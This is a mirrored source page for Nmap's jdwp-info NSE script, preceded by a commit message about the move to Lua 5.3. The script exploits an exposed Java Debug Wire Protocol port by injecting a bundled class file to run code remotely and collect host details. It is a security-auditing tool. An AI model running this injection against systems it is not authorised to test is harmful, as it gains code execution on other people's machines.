mirror of
https://github.com/nmap/nmap.git
synced 2025-12-14 19:59:02 +00:00
7f5ec526fe
Lua 5.3 adds several awesome features of particular interest to nmap including bitwise operators and integers, a utf8 library, and standard binary pack/unpack functions. In addition to adding Lua 5.3, this branch changes: o Complete removal of the NSE bit library (in C), It has been replaced with a new Lua library wrapping Lua 5.3's bit-wise operators. o Complete removal of the NSE bin library (in C). It has been replaced with a new Lua library wrapping Lua 5.3's string.pack|unpack functions. o The bin.pack "B" format specifier (which has never worked correctly) is unimplemented. All scripts/libraries which use it have been updated. Most usage of this option was to allow string based bit-wise operations which are no longer necessary now that Lua 5.3 provides integers and bit-wise operators. o The base32/base64 libraries have been reimplemented using Lua 5.3's new bitwise operators. (This library was the main user of the bin.pack "B" format specifier.) o A new "bits" library has been added for common bit hacks. Currently only has a reverse function. Thanks to David Fifield, Daniel Miller, Jacek Wielemborek, and Paulino Calderon for testing this branch.
94 lines
3.0 KiB
Lua
94 lines
3.0 KiB
Lua
local bin = require "bin"
|
|
local io = require "io"
|
|
local jdwp = require "jdwp"
|
|
local stdnse = require "stdnse"
|
|
local nmap = require "nmap"
|
|
local shortport = require "shortport"
|
|
|
|
description = [[
|
|
Attempts to exploit java's remote debugging port. When remote
|
|
debugging port is left open, it is possible to inject java bytecode
|
|
and achieve remote code execution. This script injects and execute a
|
|
Java class file that returns remote system information.
|
|
]]
|
|
|
|
author = "Aleksandar Nikolic"
|
|
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
|
|
categories = {"default","safe","discovery"}
|
|
|
|
---
|
|
-- @usage nmap -sT <target> -p <port> --script=+jdwp-info
|
|
-- @output
|
|
-- PORT STATE SERVICE REASON
|
|
-- 2010/tcp open search syn-ack
|
|
-- | jdwp-info:
|
|
-- | Available processors: 1
|
|
-- | Free memory: 15331736
|
|
-- | File system root: A:\
|
|
-- | Total space (bytes): 0
|
|
-- | Free space (bytes): 0
|
|
-- | File system root: C:\
|
|
-- | Total space (bytes): 42935926784
|
|
-- | Free space (bytes): 29779054592
|
|
-- | File system root: D:\
|
|
-- | Total space (bytes): 0
|
|
-- | Free space (bytes): 0
|
|
-- | Name of the OS: Windows XP
|
|
-- | OS Version : 5.1
|
|
-- | OS patch level : Service Pack 3
|
|
-- | OS Architecture: x86
|
|
-- | Java version: 1.7.0_01
|
|
-- | Username: user
|
|
-- | User home: C:\Documents and Settings\user
|
|
-- |_ System time: Sat Aug 11 15:21:44 CEST 2012
|
|
|
|
portrule = function(host, port)
|
|
-- JDWP will close the port if there is no valid handshake within 2
|
|
-- seconds, Service detection's NULL probe detects it as tcpwrapped.
|
|
return port.service == "tcpwrapped"
|
|
and port.protocol == "tcp" and port.state == "open"
|
|
and not(shortport.port_is_excluded(port.number,port.protocol))
|
|
end
|
|
|
|
action = function(host, port)
|
|
stdnse.sleep(5) -- let the remote socket recover from connect() scan
|
|
local status,socket = jdwp.connect(host,port) -- initialize the connection
|
|
if not status then
|
|
stdnse.debug1("error, %s",socket)
|
|
return nil
|
|
end
|
|
|
|
-- read .class file
|
|
local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPSystemInfo.class"), "rb")
|
|
local class_bytes = file:read("a")
|
|
|
|
-- inject the class
|
|
local injectedClass
|
|
status,injectedClass = jdwp.injectClass(socket,class_bytes)
|
|
if not status then
|
|
stdnse.debug1("Failed to inject class")
|
|
return stdnse.format_output(false, "Failed to inject class")
|
|
end
|
|
-- find injected class method
|
|
local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
|
|
|
|
if runMethodID == nil then
|
|
stdnse.debug1("Couldn't find run method")
|
|
return stdnse.format_output(false, "Couldn't find run method.")
|
|
end
|
|
|
|
-- invoke run method
|
|
local result
|
|
status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil)
|
|
if not status then
|
|
stdnse.debug1("Couldn't invoke run method")
|
|
return stdnse.format_output(false, result)
|
|
end
|
|
-- get the result string
|
|
local _,_,stringID = bin.unpack(">CL",result)
|
|
status,result = jdwp.readString(socket,0,stringID)
|
|
-- parse results
|
|
return stdnse.format_output(status,result)
|
|
end
|
|
|